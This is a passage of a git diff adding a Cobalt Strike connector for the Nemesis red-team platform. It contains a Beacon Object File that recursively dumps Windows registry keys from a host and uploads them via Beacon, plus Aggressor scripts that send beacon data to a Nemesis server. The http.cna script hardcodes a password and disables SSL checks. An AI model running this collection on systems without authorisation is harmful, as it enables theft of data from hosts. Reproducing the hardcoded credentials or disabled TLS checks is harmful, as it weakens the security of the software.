achClass[MAX_PATH]; // buffer for class name + DWORD cchClassName = MAX_PATH; // size of class string + DWORD num_subkeys = 0; // number of subkeys + DWORD max_subkey_length; // longest subkey size + DWORD cchMaxClass; // longest class string + DWORD num_values; // number of values for key + DWORD max_key_length; // longest value name + DWORD max_value_length; // longest value data + DWORD cbSecurityDescriptor; // size of security descriptor + DWORD i; + + if ((rc2 = ADVAPI32$RegQueryInfoKeyW( + target_reg_key, achClass, &cchClassName, NULL, &num_subkeys, + &max_subkey_length, &cchMaxClass, &num_values, &max_key_length, + &max_value_length, &cbSecurityDescriptor, NULL)) == + ERROR_SUCCESS) { + + // Enumerate Subkeys and recurse + if (num_subkeys) { + for (i = 0; i < num_subkeys; i++) { + DWORD subkey_name_size = MAX_KEY_LENGTH; + WCHAR subkey_name[MAX_KEY_LENGTH]; // buffer for subkey name + if ((rc3 = ADVAPI32$RegEnumKeyExW(target_reg_key, i, subkey_name, + &subkey_name_size, NULL, NULL, NULL, + NULL)) == ERROR_SUCCESS) { + if (recurse) { + wchar_t *new_key = path_join(key_path, subkey_name); + QueryRegistryPath(queue, hive, arg_hive, new_key, recurse); + intFree(new_key); + } + } else { + BeaconPrintf(CALLBACK_ERROR, "RegEnumKeyEx error: %d\n", rc3); + } + } + } + + // Enumerate Keys. + if (num_values) { + for (i = 0, rc4 = ERROR_SUCCESS; i < num_values; i++) { + LPWSTR key = (LPWSTR)intAlloc(++max_key_length * sizeof(WCHAR)); + DWORD key_length = max_key_length; + DWORD value_type; + LPBYTE value_data = (LPBYTE)intAlloc(max_value_length); + DWORD value_data_length = max_value_length; + + if ((rc4 = ADVAPI32$RegEnumValueW( + target_reg_key, i, key, &key_length, NULL, &value_type, + value_data, &value_data_length)) == ERROR_SUCCESS) { + RegPath *regPath = (RegPath *)intAlloc(sizeof(RegPath)); + queue->push(queue, regPath); + regPath->type = value_type; + + wchar_t *total_path = path_join(arg_hive, key_path); + size_t total_path_length = MSVCRT$wcslen(total_path); + regPath->path_length = total_path_length * sizeof(wchar_t); + regPath->path = (wchar_t *)intAlloc(total_path_length * sizeof(wchar_t)); + MSVCRT$memcpy(regPath->path, total_path, + total_path_length * sizeof(wchar_t)); + + regPath->key_length = key_length * sizeof(wchar_t); + regPath->key = (wchar_t *)intAlloc(key_length * sizeof(wchar_t)); + MSVCRT$memcpy(regPath->key, key, key_length * sizeof(wchar_t)); + + if (value_type == REG_NONE) { + regPath->value_length = 0; + regPath->value = NULL; + } else if (value_type == REG_SZ) { + regPath->value_length = value_data_length; + regPath->value = (wchar_t *)intAlloc(value_data_length); + MSVCRT$memcpy(regPath->value, value_data, value_data_length); + } else if (value_type == REG_EXPAND_SZ) { + wchar_t *raw_value = (wchar_t *)intAlloc(value_data_length); + MSVCRT$memcpy(raw_value, value_data, value_data_length); + // Use ExpandEnvironmentStringsW to expand the string + DWORD expandedSize = + KERNEL32$ExpandEnvironmentStringsW(raw_value, NULL, 0); + DWORD total_size = (expandedSize + 1) * sizeof(wchar_t); + wchar_t *expanded = (wchar_t *)intAlloc(total_size); + KERNEL32$ExpandEnvironmentStringsW(raw_value, expanded, + expandedSize); + // Copy the expanded string into the value + regPath->value_length = total_size; + regPath->value = expanded; + intFree(raw_value); + } else if (value_type == REG_BINARY) { + regPath->value_length = value_data_length; + regPath->value = (wchar_t *)intAlloc(value_data_length); + MSVCRT$memcpy(regPath->value, value_data, value_data_length); + } else if (value_type == REG_DWORD || + value_type == REG_DWORD_BIG_ENDIAN) { + regPath->value_length = sizeof(DWORD); + regPath->value = (wchar_t *)intAlloc(sizeof(DWORD)); + DWORD value = *(DWORD *)value_data; + MSVCRT$memcpy(regPath->value, &value, sizeof(DWORD)); + } else if (value_type == REG_LINK) { + // TODO + } else if (value_type == REG_MULTI_SZ) { + regPath->value_length = value_data_length; + regPath->value = (wchar_t *)intAlloc(value_data_length); + MSVCRT$memcpy(regPath->value, value_data, value_data_length); + } else if (value_type == REG_QWORD) { + regPath->value_length = sizeof(QWORD); + regPath->value = (wchar_t *)intAlloc(sizeof(QWORD)); + QWORD value = *(QWORD *)value_data; + MSVCRT$memcpy(regPath->value, &value, sizeof(QWORD)); + } else { + BeaconPrintf(CALLBACK_ERROR, "Unsupported type: %d\n", + value_type); + regPath->value_length = 0; + } + } else { + BeaconPrintf(CALLBACK_ERROR, "Error code: %li\n", rc4); + } + intFree(key); + intFree(value_data); + } + } + } else { + BeaconPrintf(CALLBACK_ERROR, "RegQueryInfoKeyW returned error: %d\n", + rc2); + } + } else { + BeaconPrintf(CALLBACK_ERROR, "RegOpenKeyExW returned error: %d\n", rc1); + } + ADVAPI32$RegCloseKey(target_reg_key); +} + +void FormatUploadRegistryData(Pqueue queue, char *upload_file_name) { + Pitem cursor; + RegPath *curitem; + formatp obj; + int i = 1; + unsigned int size = 0; + char *out; + int fmt_size; + + cursor = queue->head; + + // Calculate size of the buffer + size += sizeof(unsigned int); + while (cursor != queue->tail) { + RegPath *reg_cursor = (RegPath *)cursor->elem; + i++; + size += sizeof(RegPath) + reg_cursor->key_length + reg_cursor->path_length + + reg_cursor->value_length; + cursor = cursor->next; + } + + BeaconFormatAlloc(&obj, size); + BeaconFormatInt(&obj, i); + + while ((curitem = queue->pop(queue)) != NULL) { + BeaconFormatInt(&obj, curitem->type); + BeaconFormatInt(&obj, curitem->path_length); + BeaconFormatAppend(&obj, (char *)curitem->path, curitem->path_length); + BeaconFormatInt(&obj, curitem->key_length); + BeaconFormatAppend(&obj, (char *)curitem->key, curitem->key_length); + BeaconFormatInt(&obj, curitem->value_length); + if (curitem->type == REG_DWORD || curitem->type == REG_DWORD_BIG_ENDIAN) { + BeaconFormatAppend(&obj, (char *)curitem->value, sizeof(DWORD)); + } else if (curitem->type == REG_QWORD) { + BeaconFormatAppend(&obj, (char *)curitem->value, sizeof(QWORD)); + } else { + BeaconFormatAppend(&obj, (char *)curitem->value, curitem->value_length); + } + + // clean up + intFree(curitem->value); + intFree(curitem->key); + intFree(curitem->path); + intFree(curitem); + } + queue->free(queue); + + out = BeaconFormatToString(&obj, &fmt_size); + UploadFile(upload_file_name, out, fmt_size); + BeaconFormatFree(&obj); +} + +void go(char *args, int alen) { + Pqueue queue; + HKEY target_hive; + char *arg_file_name; + char *arg_hive; + char *arg_path; + wchar_t *path; + datap parser; + int num_keys; + + BeaconDataParse(&parser, args, alen); + arg_file_name = BeaconDataExtract(&parser, NULL); + arg_hive = BeaconDataExtract(&parser, NULL); + arg_path = BeaconDataExtract(&parser, NULL); + + if (MSVCRT$strcmp(arg_hive, "HKCR") == 0) { + target_hive = HKEY_CLASSES_ROOT; + } else if (MSVCRT$strcmp(arg_hive, "HKCU") == 0) { + target_hive = HKEY_CURRENT_USER; + } else if (MSVCRT$strcmp(arg_hive, "HKLM") == 0) { + target_hive = HKEY_LOCAL_MACHINE; + } else if (MSVCRT$strcmp(arg_hive, "HKU") == 0) { + target_hive = HKEY_USERS; + } else if (MSVCRT$strcmp(arg_hive, "HKCC") == 0) { + target_hive = HKEY_CURRENT_CONFIG; + } else { + BeaconPrintf(CALLBACK_ERROR, "Unknown hive: %s", arg_hive); + return; + } + + wchar_t arg_hive_w[100]; + toWideChar(arg_hive, arg_hive_w, 100); + + queue = queueInit(); + + int wchars_num = + KERNEL32$MultiByteToWideChar(CP_UTF8, 0, arg_path, -1, NULL, 0); + path = (wchar_t *)intAlloc(wchars_num * sizeof(wchar_t)); + KERNEL32$MultiByteToWideChar(CP_UTF8, 0, arg_path, -1, path, wchars_num); + + QueryRegistryPath(queue, target_hive, arg_hive_w, path, true); + num_keys = queue->size(queue); + BeaconPrintf(CALLBACK_OUTPUT, "Total reg keys: %d", num_keys); + if (num_keys != 0) + FormatUploadRegistryData(queue, arg_file_name); + intFree(path); +} diff --git a/cmd/connectors/cobaltstrike-nemesis-connector/file.cna b/cmd/connectors/cobaltstrike-nemesis-connector/file.cna new file mode 100755 index 0000000..ff09f98 --- /dev/null +++ b/cmd/connectors/cobaltstrike-nemesis-connector/file.cna @@ -0,0 +1,40 @@ +# Always keep 4 and 34 enabled - they'll help catch common developer mistakes +debug(debug() | 4); # 4 = display a runtime warning for the first time use of non-declared variables. +#debug(debug() | 8); # 8 = DEBUGGING: trace all function calls +debug(debug() | 34); # 34 = "throw" all errors flagged for use with &checkError +#debug(debug() | 64); # 64 = DEBUGGING: trace all predicate decisions (follow program logic) + + +sub file::ReadAllBytes { + # helper to read file bytes + local('$1 $path $handle $bytes $error'); + + $path = $1; + + $handle = openf($path); + throw checkError($error); + + $bytes = readb($handle, -1); + closef($handle); + + return $bytes; +} + + +sub file::ReadBOF { + local('$1 $2 $3 $barch $handle $data $msg'); + $barch = barch($1); + + # read in the right BOF file + $handle = openf(script_resource("./bof_reg_collect/build/ $+ $2 $+ . $+ $barch $+ .o")); + $data = readb($handle, -1); + closef($handle); + if(strlen($data) == 0) + { + berror($1, "Could not read BOF file"); + } + + $msg = iff( ($3 eq $null || $3 eq ""), "Running $2", $3); + btask($1, $msg); + return $data; +} diff --git a/cmd/connectors/cobaltstrike-nemesis-connector/helpers.cna b/cmd/connectors/cobaltstrike-nemesis-connector/helpers.cna new file mode 100755 index 0000000..0d965fc --- /dev/null +++ b/cmd/connectors/cobaltstrike-nemesis-connector/helpers.cna @@ -0,0 +1,118 @@ +# Always keep 4 and 34 enabled - they'll help catch common developer mistakes +debug(debug() | 4); # 4 = display a runtime warning for the first time use of non-declared variables. +#debug(debug() | 8); # 8 = DEBUGGING: trace all function calls +debug(debug() | 34); # 34 = "throw" all errors flagged for use with &checkError +#debug(debug() | 64); # 64 = DEBUGGING: trace all predicate decisions (follow program logic) + +global('%nemesis::Settings'); + +import java.util.Calendar; + +sub helpers::IsHeadlessClient { + # returns true if the client is headless (i.e., agscript) + import aggressor.*; + + if([aggressor.Aggressor getFrame] is $null) { + return true; + } else { + return false; + } +} + +sub helpers::FormatDateIso8601 { + # Returns the date (optionally supplied) as an ISO 8601 formatted time + # From https://www.quora.com/How-do-I-get-the-current-UTC-date-using-Java + local('$1 $date $dateFormat $UtcTimezone $dateStr'); + + if($1) { + $date = [new java.util.Date: $1]; + } else { + $date = [new java.util.Date]; + } + + $dateFormat = [new java.text.SimpleDateFormat: "yyyy-MM-dd'T'HH:mm:ss.SSS'Z'"]; + $UtcTimezone = [java.util.TimeZone getTimeZone: "UTC"]; + [$dateFormat setTimeZone: $UtcTimezone]; + $dateStr = [$dateFormat format: $date]; + + return $dateStr; +} + +sub helpers::BuildJson { + # Takes a BeaconID/datatype/data and builds a proper JSON string + local('$1 $2 $3 $4 $5 $BID $Datatype $TimeStamp $Data %JsonData $IndentSpaces $JsonString'); + + $BID = $1; + $Datatype = $2; + $Data = $3; + $TimeStamp = $4; + $IndentSpaces = $5; + + %JsonData = %( + metadata => helpers::GetMetadata($BID, $Datatype, $TimeStamp), + data => $Data + ); + + $JsonString = json_dumps(%JsonData, $IndentSpaces); + + # Yes, the following is a hack because Aggressor bools are not properly jsonified into true/false for the protobufs >_< + $JsonString = replace($JsonString, "\"true\"", "true"); + $JsonString = replace($JsonString, "\"false\"", "false"); + + return $JsonString; +} + + +sub helpers::GetMetadata { + # Gets a metadata hashtable for the current beacon ID + local('$1 $2 $3 $BID $Expiration $Datatype $TimeStamp'); + + $BID = $1; + $Datatype = $2; + + if(!$3) { + # if a timestamp isn't passed, use the current time + $TimeStamp = [new java.util.Date]; + } + else { + $TimeStamp = long($3); + } + + $Expiration = helpers::GetExpirationTime($TimeStamp); + + return %( + agent_id => $BID, + agent_type => "beacon", + automated => "true", + data_type => $Datatype, + expiration => helpers::FormatDateIso8601($Expiration), + # source => beacon_info($BID, "computer"), # only have the netbios name here unfortunately + project => %nemesis::Settings['NemesisProject'], + timestamp => helpers::FormatDateIso8601($TimeStamp) + ); +} + +sub helpers::GetExpirationTime { + # Gets the current time and adds the specified number ('DataExpirationDays') + # of days to create the expiration date for the data entry + local('$1 $Date $Calendar $Days $ExpirationHours'); + + $Date = [new java.util.Date: $1]; + + $Days = %nemesis::Settings['DataExpirationDays']; + $ExpirationHours = $Days * 24; + + $Calendar = [java.util.Calendar getInstance]; + [$Calendar setTime: $Date]; + [$Calendar add: [java.util.Calendar HOUR], $ExpirationHours]; + + return [$Calendar getTime]; +} + +sub helpers::GetRandomFileName { + local('$random'); + + $random = [java.util.UUID randomUUID]; + + return [$random toString]; +} \ No newline at end of file diff --git a/cmd/connectors/cobaltstrike-nemesis-connector/http.cna b/cmd/connectors/cobaltstrike-nemesis-connector/http.cna new file mode 100644 index 0000000..79699c1 --- /dev/null +++ b/cmd/connectors/cobaltstrike-nemesis-connector/http.cna @@ -0,0 +1,516 @@ +# Always keep 4 and 34 enabled - they'll help catch common developer mistakes +debug(debug() | 4); # 4 = display a runtime warning for the first time use of non-declared variables. +#debug(debug() | 8); # 8 = DEBUGGING: trace all function calls +debug(debug() | 34); # 34 = "throw" all errors flagged for use with &checkError +#debug(debug() | 64); # 64 = DEBUGGING: trace all predicate decisions (follow program logic) + + +import java.net.*; +import java.io.DataOutputStream; +import java.io.BufferedReader; +import java.io.InputStreamReader; +import java.nio.charset.StandardCharsets; + +# have to add this to the -Dclass path in the `agscript` binary >_< +import SSLUtils; + +global('%nemesis::Settings'); + + +sub http::UploadFile { + # Uploads a file to the http://nemesis/file endpoint, returning a object_id UUID + + local('$1 $filepath @parts $filename $auth_header $guid $file_bytes $in $url $urlobj $con $wr $responseCode $message $inputLine $message2 $date $url $urlobj $con'); + + $filepath = $1; + @parts = split('/', $filepath); + $filename = @parts[-1]; + $file_bytes = file::ReadAllBytes($filepath); + + # POST to http://nemesis/file + $url = %nemesis::Settings['NemesisApiUrl']. 'file'; + $urlobj = [new URL: $url]; + $con = [$urlobj openConnection]; + + # headers/auth stuffs + [$con setRequestProperty: "User-Agent", "NemesisCobaltStrikeConnector"]; + [$con setRequestProperty: "Content-Type", "application/octet-stream"]; + $auth_header = "Basic " . base64_encode(%nemesis::Settings['NemesisCreds']); + [$con setRequestProperty: "Authorization", $auth_header]; + [$con setRequestMethod: "POST"]; + [$con setDoOutput: true]; + [$con setConnectTimeout: 5000]; + + # TODO: handle very large files! + try { + [$con connect]; + $wr = [new DataOutputStream: [$con getOutputStream]]; + [$wr writeBytes: $file_bytes]; + [$wr flush]; + [$wr close]; + + $responseCode = 0; + try { + $responseCode = [$con getResponseCode]; + } + catch $message + { + logger::WriteError("[UploadFile] " . $message); + } + + if($responseCode == 200) { + + try { + $in = [new BufferedReader: [new InputStreamReader: [$con getInputStream]]]; + + $inputLine = [$in readLine]; + if($inputLine eq "") { + $inputLine = [$in readLine]; + } + + [$in close]; + + return http::getObjectID($inputLine); + } + catch $message { + logger::WriteError("[UploadFile] Error in parsing upload response: " . $message); + return $null; + } + } + else { + logger::WriteError("[UploadFile] Response code from Nemesis server: " . $responseCode); + } + } + catch $message2 + { + logger::WriteError("[UploadFile] " . $message2); + } + + return $null; +} + + +sub http::YaraFile { + # Uploads a file to the http://nemesis/yara endpoint, returning any yara results + + local('$1 $filepath @parts $filename $auth_header $footer $guid $body $file_bytes $in $url $urlobj $con $wr $responseCode $message $inputLine $message2 $date $url $urlobj $con'); + + $filepath = $1; + @parts = split('/', $filepath); + $filename = @parts[-1]; + $file_bytes = file::ReadAllBytes($filepath); + + # separator we're using for the stream bounaries + $guid = helpers::GetRandomFileName(); + + # part 1 - initial header for file bytes + $body = "--" . $guid . "\r\n"; + $body = $body . "Content-Disposition: form-data; name=\"file\"; filename=\"" . $filename . "\"" . "\r\n"; + $body = $body . "Content-Type: application/octet-stream\r\n\r\n"; + + $footer = "\r\n--" . $guid . "\r\n"; + + $url = %nemesis::Settings['NemesisYaraUrl'] . 'file'; + println("url: " . $url); + $urlobj = [new URL: $url]; + $con = [$urlobj openConnection]; + + # headers/auth stuffs + [$con setRequestProperty: "User-Agent", "NemesisCobaltStrikeConnector"]; + # make sure we set the GUID that defines our boundary + [$con setRequestProperty: "Content-Type", "multipart/form-data; boundary=" . $guid]; + $auth_header = "Basic " . base64_encode("nemesis:Password123!"); + [$con setRequestProperty: "Authorization", $auth_header]; + [$con setRequestMethod: "POST"]; + [$con setDoOutput: true]; + [$con setConnectTimeout: 5000]; + + try { + [$con connect]; + $wr = [new DataOutputStream: [$con getOutputStream]]; + [$wr writeBytes: $body]; + [$wr writeBytes: $file_bytes]; + [$wr writeBytes: $footer]; + [$wr flush]; + [$wr close]; + + $responseCode = 0; + try { + $responseCode = [$con getResponseCode]; + } + catch $message + { + println("[UploadFile] " . $message); + } + + if($responseCode == 200) { + + try { + $in = [new BufferedReader: [new InputStreamReader: [$con getInputStream]]]; + + $inputLine = [$in readLine]; + if($inputLine eq "") { + $inputLine = [$in readLine]; + } + + [$in close]; + + return $inputLine; + } + catch $message { + println("[UploadFile] Error in parsing upload response: " . $message); + return $null; + } + } + else { + println("[UploadFile] Response code from Nemesis server: " . $responseCode); + } + } + catch $message2 + { + println("[UploadFile] " . $message2); + } + + return $null; + +} + + +sub http::getObjectID { + # Small helper that extracts an object_id field from JSON results + local('$1 $obj') + + $obj = json_new_jsonobject($1); + return json_value($obj, "object_id"); +} + + +sub http::PostData { + # posts data to the appropriate API endpoint, returning a unique UUID message ID + + local('$1 $2 $3 $4 $BID $Datatype $auth_header $Data $TimeStamp $JsonData $url $urlobj $con $wr $responseCode $in $inputLine'); + + $BID = $1; + $Datatype = $2; + $Data = $3; + $TimeStamp = $4; + + $url = %nemesis::Settings['NemesisApiUrl'] . 'data'; + $urlobj = [new URL: $url]; + + $con = [$urlobj openConnection]; + + if(%nemesis::Settings['DebugJson']) { + $JsonData = helpers::BuildJson($BID, $Datatype, $Data, $TimeStamp); + logger::WriteVerbose("PostData URL: " . $url); + logger::WriteVerbose($Datatype . " JSON: " . $JsonData); + } else { + $JsonData = helpers::BuildJson($BID, $Datatype, $Data, $TimeStamp); + } + + + # headers/auth stuffs + [$con setRequestProperty: "User-Agent", "NemesisCobaltStrikeConnector"]; + [$con setRequestProperty: "Content-Type", "application/octet-stream"]; + $auth_header = "Basic " . base64_encode(%nemesis::Settings['NemesisCreds']); + [$con setRequestProperty: "Authorization", $auth_header]; + [$con setRequestMethod: "POST"]; + [$con setDoOutput: true]; + [$con setConnectTimeout: 5000]; + + + try { + [$con connect]; + $wr = [new DataOutputStream: [$con getOutputStream]]; + [$wr writeBytes: $JsonData]; + [$wr flush]; + [$wr close]; + + $responseCode = 0; + try { + $responseCode = [$con getResponseCode]; + } + catch $message + { + logger::WriteError("[PostData] error: " . $message); + } + + if($responseCode == 200) { + + try { + $in = [new BufferedReader: [new InputStreamReader: [$con getInputStream]]]; + + $inputLine = [$in readLine]; + if($inputLine eq "") { + $inputLine = [$in readLine]; + } + + [$in close]; + + return http::getObjectID($inputLine); + } + catch $message { + logger::WriteError("[PostData] Error in parsing upload response: " . $message); + return $null; + } + } + else { + logger::WriteError("[PostData] Response code from Nemesis server: " . $responseCode); + } + } + catch $message2 + { + logger::WriteError("Error : " . $message2); + # show_error("Error : " . $message2); + } +} + + +sub http::GetFileData { + # Get data about a processed file (referenced by the message UUID from http::PostData) from the Elasticsearch server + + local('$1 $2 $3 $MessageID $url $urlobj $base64_creds $con $JsonData $wr $creds $message $responseCode $parsed $response $in $inputline $SSL $inputLine'); + + $MessageID = $1; + + $url = %nemesis::Settings['ElasticsearchUrl'] . "file_data_enriched/_search?pretty"; + + $urlobj = [new URL: $url]; + + $con = $null; + + $SSL = [new SSLUtils]; + [SSLUtils ignoreSsl]; + + $con = [$urlobj openConnection]; + + [$con setRequestProperty: "User-Agent", "NemesisCobaltStrikeConnector"]; + [$con setRequestProperty: "Content-Type", "application/json"]; + $creds = %nemesis::Settings['NemesisCreds']; + $base64_creds = "Basic " . base64_encode([$creds getBytes:[StandardCharsets UTF_8]]); + [$con setRequestProperty: "Authorization", $base64_creds]; + [$con setRequestMethod: "POST"]; + [$con setDoOutput: true]; + [$con setConnectTimeout: 5000]; + + # logger::WriteVerbose("Getting FileDataEnriched data for message_id '" . $MessageID . "' from server: " . $url); + + # to pull additional fields, specify them in the _source/includes component + $JsonData = " +{ + \"_source\": { + \"includes\": [ \"path\", \"size\", \"objectId\", \"analysis\", \"magicType\", \"nemesisFileType\", \"noseyparker\", \"yaraMatches\", \"extractedPlaintext\", \"convertedPdf\", \"containsDpapi\", \"parsedData.hasParsedCredentials\", \"parsedData.officeDocOle.encrypted\", \"parsedData.officeDocNew.encrypted\", \"hashes.sha1\", \"metadata.messageId\" ] + }, + \"query\": { + \"bool\": { + \"filter\": [ + { + \"match_phrase\": { + \"metadata.messageId\": \"$MessageID\" + } + } + ] + } + } +} + "; + + try { + [$con connect]; + $wr = [new DataOutputStream: [$con getOutputStream]]; + [$wr writeBytes: $JsonData]; + [$wr flush]; + [$wr close]; + + $responseCode = 0; + try { + $responseCode = [$con getResponseCode]; + } + catch $message + { + logger::WriteError("[GetFileData] error: " . $message); + } + + if($responseCode == 200) { + + try { + $in = [new BufferedReader: [new InputStreamReader: [$con getInputStream]]]; + + $inputLine = [$in readLine]; + $response = $inputLine . "\r\n"; + + while($inputLine ne "") { + $inputLine = [$in readLine]; + $response = $response . $inputLine . "\r\n"; + } + + [$in close]; + + return json_loads($response); + } + catch $message { + logger::WriteError("[GetFileData] Error in parsing upload response: " . $message); + return $null; + } + } + else { + # logger::WriteError("[GetFileData] Response code from Nemesis server: " . $responseCode); + } + } + catch $message2 + { + show_error("Error : " . $message2); + } +} + + +sub http::GetFileResults { + local('$1 $Retries $NumResults $Results $SleepSecs $Sleep $MessageID $message') + + # Loops for file data processing + + $MessageID = $1; + $Retries = $2; + $SleepSecs = $3; + + if(!$Retries) { + $Retries = 10; + } + if(!$SleepSecs) { + $SleepSecs = 3; + } + + $Sleep = $SleepSecs * 1000; + $NumResults = 0; + + while(($NumResults lt 1) && ($Retries gt 0)) { + sleep(3000); + $Results = http::GetFileData($MessageID); + try { + if($Results) { + if("hits" in $Results) { + if("total" in $Results["hits"]) { + $NumResults = $Results["hits"]["total"]["value"]; + } + else { + $NumResults = 0; + } + } + else { + $NumResults = 0; + } + } + else { + $NumResults = 0; + } + } + catch $message { + $NumResults = 0; + } + $Retries = $Retries - 1; + } + + return $Results; +} + + +sub http::GetProcessData { + # Get data about a processed process listing (referenced by the message UUID from http::PostData) from the Elasticsearch server + + local('$1 $2 $3 $MessageID $url $urlobj $base64_creds $con $JsonData $wr $creds $message $responseCode $parsed $response $in $inputline $SSL $inputLine'); + + $MessageID = $1; + + $url = %nemesis::Settings['ElasticsearchUrl'] . "process_category/_search?pretty"; + logger::WriteVerbose("Elasticsearch URL: " . $url); + + $urlobj = [new URL: $url]; + + $con = $null; + + $SSL = [new SSLUtils]; + [SSLUtils ignoreSsl]; + + $con = [$urlobj openConnection]; + + [$con setRequestProperty: "User-Agent", "NemesisCobaltStrikeConnector"]; + [$con setRequestProperty: "Content-Type", "application/json"]; + $creds = %nemesis::Settings['ElasticsearchCreds']; + $base64_creds = "Basic " . base64_encode([$creds getBytes:[StandardCharsets UTF_8]]); + [$con setRequestProperty: "Authorization", $base64_creds]; + [$con setRequestMethod: "POST"]; + [$con setDoOutput: true]; + [$con setConnectTimeout: 5000]; + + logger::WriteVerbose("Getting ProcessCategory data for message_id '" . $MessageID . "' from server: " . $url); + + # to pull additional fields, specify them in the _source/includes component + $JsonData = " +{ + \"size\": 10000, + \"_source\": { + \"includes\": [ \"name\", \"processId\", \"parentProcessId\", \"arch\", \"token.session\", \"token.user.name\", \"category.category\", \"category.description\"] + }, + \"query\": { + \"bool\": { + \"filter\": [ + { + \"match_phrase\": { + \"metadata.messageId\": \"$MessageID\" + } + } + ] + } + } +} + "; + + try { + [$con connect]; + $wr = [new DataOutputStream: [$con getOutputStream]]; + [$wr writeBytes: $JsonData]; + [$wr flush]; + [$wr close]; + + $responseCode = 0; + try { + $responseCode = [$con getResponseCode]; + } + catch $message + { + logger::WriteError("[GetProcessData] error: " . $message); + } + + if($responseCode == 200) { + + try { + $in = [new BufferedReader: [new InputStreamReader: [$con getInputStream]]]; + + $inputLine = [$in readLine]; + $response = $inputLine . "\r\n"; + + while($inputLine ne "") { + $inputLine = [$in readLine]; + $response = $response . $inputLine . "\r\n"; + } + + [$in close]; + + # logger::WriteVerbose("response: " . $response); + + return json_loads($response); + } + catch $message { + logger::WriteError("[GetProcessData] Error in parsing response: " . $message); + return $null; + } + } + else { + logger::WriteError("[GetProcessData] Response code from Nemesis server: " . $responseCode); + } + } + catch $message2 + { + show_error("Error : " . $message2); + } +} diff --git a/cmd/connectors/cobaltstrike-nemesis-connector/json-java.jar b/cmd/connectors/cobaltstrike-nemesis-connector/json-java.jar new file mode 100644 index 0000000000000000000000000000000000000000..6121978b04a71acaffbfc49891467a4f28266ba9 GIT binary patch literal 70939 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 